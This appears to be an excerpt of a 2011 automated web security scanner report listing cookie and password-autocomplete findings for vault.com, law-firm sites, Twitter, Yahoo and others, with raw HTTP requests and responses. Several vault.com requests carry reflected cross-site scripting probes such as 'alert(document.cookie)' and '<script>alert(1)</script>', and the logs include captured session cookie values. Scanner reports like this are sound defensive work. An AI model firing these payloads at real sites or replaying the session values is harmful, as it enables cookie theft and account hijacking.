GET /scripts/time-tracker.js HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
// Copyright 2007 Google, Inc. // This sample code is under the Apache2 license, see // http://www.apache.org/licenses/LICENSE-2.0 for license details. /** * @fileoverview Wrapper for Time Tracki ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /scripts/vault_header.js HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /styles/buttons.css HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/!ut/p/c5/dY09D4IwGIR_0r3lhTaMfiEgIKaDtgspiSEoUgdj4r8X4uLC3XjP3cFi8ujefedevR_dgAusbKSIK63SgPY6ZMpKwQnXh2DHCjlsN_h2Jtc4z_U__HjiLWWkq5JlVHAhfjktaEWoUv-4wsCoxdNcThthltRxpMKpFUDDbPC8t3RTH_oCnk3SHg!!/?mode=&redirecturl=%2fwps%2fmyportal%2fusa%2frankingsf6c40'%3balert(document.cookie)%2f%2fdba4d06d54c%2findividual Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; JSESSIONID=00000-dJvfxGNM9UrnCQsyBDC18:140gkm3u6; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.4.8.1295451341966; _chartbeat2=1wcinl964s8aejot; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /styles/home.css HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /styles/jquery.autocomplete.css HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/!ut/p/c5/dY09D4IwGIR_0r3lhTaMfiEgIKaDtgspiSEoUgdj4r8X4uLC3XjP3cFi8ujefedevR_dgAusbKSIK63SgPY6ZMpKwQnXh2DHCjlsN_h2Jtc4z_U__HjiLWWkq5JlVHAhfjktaEWoUv-4wsCoxdNcThthltRxpMKpFUDDbPC8t3RTH_oCnk3SHg!!/?mode=&redirecturl=%2fwps%2fmyportal%2fusa%2frankingsf6c40'%3balert(document.cookie)%2f%2fdba4d06d54c%2findividual Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; JSESSIONID=00000-dJvfxGNM9UrnCQsyBDC18:140gkm3u6; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.4.8.1295451341966; _chartbeat2=1wcinl964s8aejot; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /styles/law-rankings.css HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankings/individual?rankingId1=2&rankingId2=-1fa29d%22%3E%3Cscript%3Ealert(1)%3C/script%3E5276a27416&rankings=1®ionId=0/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.5.8.1295451341966; _chartbeat2=1wcinl964s8aejot; JSESSIONID=0000PKS73Wmf_IK-VDDZBly2VV1:140i3s34m
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /styles/login.css HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/!ut/p/c5/dY09D4IwGIR_0r3lhTaMfiEgIKaDtgspiSEoUgdj4r8X4uLC3XjP3cFi8ujefedevR_dgAusbKSIK63SgPY6ZMpKwQnXh2DHCjlsN_h2Jtc4z_U__HjiLWWkq5JlVHAhfjktaEWoUv-4wsCoxdNcThthltRxpMKpFUDDbPC8t3RTH_oCnk3SHg!!/?mode=&redirecturl=%2fwps%2fmyportal%2fusa%2frankingsf6c40'%3balert(document.cookie)%2f%2fdba4d06d54c%2findividual Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; JSESSIONID=00000-dJvfxGNM9UrnCQsyBDC18:140gkm3u6; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.4.8.1295451341966; _chartbeat2=1wcinl964s8aejot; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /styles/main.css HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /styles/membership.css HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/!ut/p/c5/dY09D4IwGIR_0r3lhTaMfiEgIKaDtgspiSEoUgdj4r8X4uLC3XjP3cFi8ujefedevR_dgAusbKSIK63SgPY6ZMpKwQnXh2DHCjlsN_h2Jtc4z_U__HjiLWWkq5JlVHAhfjktaEWoUv-4wsCoxdNcThthltRxpMKpFUDDbPC8t3RTH_oCnk3SHg!!/?mode=&redirecturl=%2fwps%2fmyportal%2fusa%2frankingsf6c40'%3balert(document.cookie)%2f%2fdba4d06d54c%2findividual Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; JSESSIONID=00000-dJvfxGNM9UrnCQsyBDC18:140gkm3u6; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.4.8.1295451341966; _chartbeat2=1wcinl964s8aejot; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /styles/polls.css HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /styles/print.css HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <script type="text/javascript">var _sf_startpt=(new Date ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.venable.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
sid=k27fm082hajkrvrfvd2bl0t2o5; expires=Thu, 20 Jan 2011 15:10:30 GMT; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.washington-office.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK X-Powered-By: PHP/5.1.6 Set-Cookie: sid=k27fm082hajkrvrfvd2bl0t2o5; expires=Thu, 20 Jan 2011 15:10:30 GMT; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache P3P: CP="NOI COR NID ADMa DEVa PSAa PSDa STP NAV DEM STA PRE" Content-type: text/html Connection: close Date: Wed, 19 Jan 2011 15:10:30 GMT Server: lighttpd Content-Length: 802
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd"> <html lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.weil.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.welshkatz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<head><title>Document Moved</title></head> <body><h1>Object Moved</h1>This document may be found <a HREF="http://www.huschblackwell.com/">here</a></body>
The following cookie was issued by the application and does not have the HttpOnly flag set:
b=10011; domain=.yellowpages.com; path=/; expires=Thu, 20 Dec 2012 00:00:01 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Washington-DC/Attorneys HTTP/1.1 Host: www.yellowpages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Date: Wed, 19 Jan 2011 15:13:37 GMT Status: 301 Moved Permanently Server: nginx Content-Type: text/plain Location: http://www.yellowpages.com/washington-dc/attorneys Content-Length: 9 X-Urid: d-9ca453f0-060c-012e-b0d1-001e0be96752 Expires: Wed, 19 Jan 2011 15:13:36 GMT Cache-Control: no-cache Set-Cookie: b=10011; domain=.yellowpages.com; path=/; expires=Thu, 20 Dec 2012 00:00:01 GMT Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
The page contains a form with the following action URL:
https://alumni.hhlaw.com/pages/Framework.aspx
The form contains the following password field with autocomplete enabled:
SideLogin$txtPassword
Request
GET /pages/Framework.aspx HTTP/1.1 Host: alumni.hhlaw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 16:46:14 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: ASP.NET_SessionId=3ka3dnmbdxe55w2ny5xepdrz; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 7013
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD> <title>Hogan Lovells US LLP</title> <meta content="Microsoft Visual Studio 7.0" name="GENERATOR"> <meta con ...[SNIP]... <body onload="initMenus();" leftMargin="0" topMargin="0" rightMargin="0" MS_POSITIONING="GridLayout"> <form name="Framework" method="post" action="Framework.aspx" id="Framework"> <div> ...[SNIP]... <TD> <input name="SideLogin$txtPassword" type="password" id="SideLogin_txtPassword" tabindex="20" class="logField" /></TD> ...[SNIP]...
The page contains a form with the following action URL:
http://dcregistry.com/cgi-bin/wbn/wbn_admin.pl
The form contains the following password field with autocomplete enabled:
password
Request
GET /wbn/welcome.html HTTP/1.1 Host: dcregistry.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:20:53 GMT Server: Apache/2.2.11 (Unix) FrontPage/5.0.2.2635 PHP/5.2.6 Accept-Ranges: bytes Connection: close Content-Type: text/html Content-Length: 49869
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
The page contains a form with the following action URL:
http://dcregistry.com/cgi-bin/wbn2/wbn_admin.pl
The form contains the following password field with autocomplete enabled:
password
Request
GET /wbn/welcome.html HTTP/1.1 Host: dcregistry.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:20:53 GMT Server: Apache/2.2.11 (Unix) FrontPage/5.0.2.2635 PHP/5.2.6 Accept-Ranges: bytes Connection: close Content-Type: text/html Content-Length: 49869
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
The form contains the following password field with autocomplete enabled:
password
Request
GET /TrkrSSL.html HTTP/1.1 Host: immigration.ebglaw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Content-Type: text/html Last-Modified: Thu, 02 Dec 2010 22:02:23 GMT Accept-Ranges: bytes ETag: "fe5bfa986c92cb1:0" Server: Microsoft-IIS/7.5 Date: Wed, 19 Jan 2011 18:10:05 GMT Connection: close Content-Length: 2619
The form contains the following password field with autocomplete enabled:
tbPassword
Request
GET /promotions/signup.aspx HTTP/1.1 Host: join.kazaa.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Wed, 19 Jan 2011 18:08:42 GMT Connection: close Content-Length: 27386
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head>
The form contains the following password field with autocomplete enabled:
tbPassword
Request
GET /promotions/signup.aspx?MCID=75&site=kasimer-ittig.com&client=ca-dp-sphere_related_xml HTTP/1.1 Host: join.kazaa.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Wed, 19 Jan 2011 18:08:43 GMT Connection: close Content-Length: 27700
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head>
The page contains a form with the following action URL:
https://login.yahoo.com/config/login?
The form contains the following password field with autocomplete enabled:
passwd
Request
GET /config/login HTTP/1.1 Host: login.yahoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:09:20 GMT Set-Cookie: B=5u97cop6jea6g&b=3&s=jo; expires=Tue, 19-Jan-2013 20:00:00 GMT; path=/; domain=.yahoo.com P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" X-Frame-Options: DENY Cache-Control: private Connection: close Content-Type: text/html Content-Length: 41558
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Sign in ...[SNIP]... </legend>
The form contains the following password field with autocomplete enabled:
password
Request
GET /magazines/fortune/bestcompanies/2010/snapshots/65.html HTTP/1.1 Host: money.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:25:12 GMT Server: Apache Accept-Ranges: bytes Cache-Control: max-age=60, private Expires: Wed, 19 Jan 2011 15:26:12 GMT Content-Type: text/html Vary: Accept-Encoding,User-Agent Connection: close Content-Length: 75163
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>100 Best Companies to Work For 2010: Arnold & Porter - from FORTUNE</title> <meta HTTP-EQUIV="Pragma" CONTENT="no-c ...[SNIP]... <!-- start login --> <form onsubmit="return false;" id="cnnMoneyConnectFormLogin" class="overlay_content"> <a href="javascript:void(0)" class="close"> ...[SNIP]... </p> <input class="" id="passwordinput" name="password" type="password"> <div id="cnnConnectLoginErrors" style="display: none;"> ...[SNIP]...
The form contains the following password field with autocomplete enabled:
newPassword
Request
GET /magazines/fortune/bestcompanies/2010/snapshots/65.html HTTP/1.1 Host: money.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:25:12 GMT Server: Apache Accept-Ranges: bytes Cache-Control: max-age=60, private Expires: Wed, 19 Jan 2011 15:26:12 GMT Content-Type: text/html Vary: Accept-Encoding,User-Agent Connection: close Content-Length: 75163
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>100 Best Companies to Work For 2010: Arnold & Porter - from FORTUNE</title> <meta HTTP-EQUIV="Pragma" CONTENT="no-c ...[SNIP]... <!-- start reset password --> <form id="cnnConnectFormReset" class="overlay_content"> <a href="javascript:void(0)" class="close"> ...[SNIP]... </p> <input type="password" id="new_password" name="newPassword"> <div id="cnnConnectResetErrors"> ...[SNIP]...
The form contains the following password field with autocomplete enabled:
password
Request
GET /magazines/fortune/bestcompanies/2010/snapshots/65.html HTTP/1.1 Host: money.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:25:12 GMT Server: Apache Accept-Ranges: bytes Cache-Control: max-age=60, private Expires: Wed, 19 Jan 2011 15:26:12 GMT Content-Type: text/html Vary: Accept-Encoding,User-Agent Connection: close Content-Length: 75163
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>100 Best Companies to Work For 2010: Arnold & Porter - from FORTUNE</title> <meta HTTP-EQUIV="Pragma" CONTENT="no-c ...[SNIP]... <!-- start registration --> <form onsubmit="return false;" id="cnnConnectFormRegister" class="overlay_content"> <a href="javascript:void(0)" class="close"> ...[SNIP]... </p> <input id="signup_password" name="password" maxlength="10" type="password" /> <span class="fieldTip"> ...[SNIP]...
The form contains the following password field with autocomplete enabled:
cwsPassword
Request
GET /NA3/ats/careers/jobSearch.jsp?org=YELLOWPAGES&cws=1 HTTP/1.1 Host: tbe.taleo.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 16:58:40 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: Wed, 31 Dec 1969 23:59:59 GMT Set-Cookie: JSESSIONID=7DDBC697D275EF763B17C1E511BC0B4B.NA3_primary_jvm; Path=/NA3/ats P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 14364
The page contains a form with the following action URL:
https://twitter.com/sessions
The form contains the following password field with autocomplete enabled:
session[password]
Request
GET /fagiani HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Wed, 19 Jan 2011 18:15:03 GMT Server: hi Status: 200 OK X-Transaction: 1295460903-30476-34757 ETag: "77ef6be1f643debd8666b53bd63bb365" Last-Modified: Wed, 19 Jan 2011 18:15:03 GMT X-Runtime: 0.01698 Content-Type: text/html; charset=utf-8 Content-Length: 51533 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295460903731262; path=/; expires=Wed, 26-Jan-11 18:15:03 GMT; domain=.twitter.com Set-Cookie: guest_id=129546090376423251; path=/; expires=Fri, 18 Feb 2011 18:15:03 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoPY3JlYXRlZF9hdGwrCFerfJ8tAToHaWQiJTAyMzgxNWI3YTgxYmU5%250AMGY4YzkzODgxOWZiZDc5ZDRiIgpmbGFzaElDOidBY3Rpb25Db250cm9sbGVy%250AOjpGbGFzaDo6Rmxhc2hIYXNoewAGOgpAdXNlZHsA--e90ad675263b4a03bc9fc44f397ea9c5197cc977; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The page contains a form with the following action URL:
https://twitter.com/sessions
The form contains the following password field with autocomplete enabled:
session[password]
Request
GET /rafaelp HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Wed, 19 Jan 2011 18:15:03 GMT Server: hi Status: 200 OK X-Transaction: 1295460903-25933-31378 ETag: "2118e3354d30b7717233879fa74e0603" Last-Modified: Wed, 19 Jan 2011 18:15:03 GMT X-Runtime: 0.01529 Content-Type: text/html; charset=utf-8 Content-Length: 56379 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295460903722470; path=/; expires=Wed, 26-Jan-11 18:15:03 GMT; domain=.twitter.com Set-Cookie: guest_id=129546090373025980; path=/; expires=Fri, 18 Feb 2011 18:15:03 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoPY3JlYXRlZF9hdGwrCDWrfJ8tAToHaWQiJWVkN2M3Njg5ZjI0YWNl%250ANmU4Zjk0ZTY3ZDIzZDg0OWJjIgpmbGFzaElDOidBY3Rpb25Db250cm9sbGVy%250AOjpGbGFzaDo6Rmxhc2hIYXNoewAGOgpAdXNlZHsA--b2a03e152c47781d67c9986e69f0aaba12291528; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The form contains the following password field with autocomplete enabled:
pass
Request
GET /%s HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
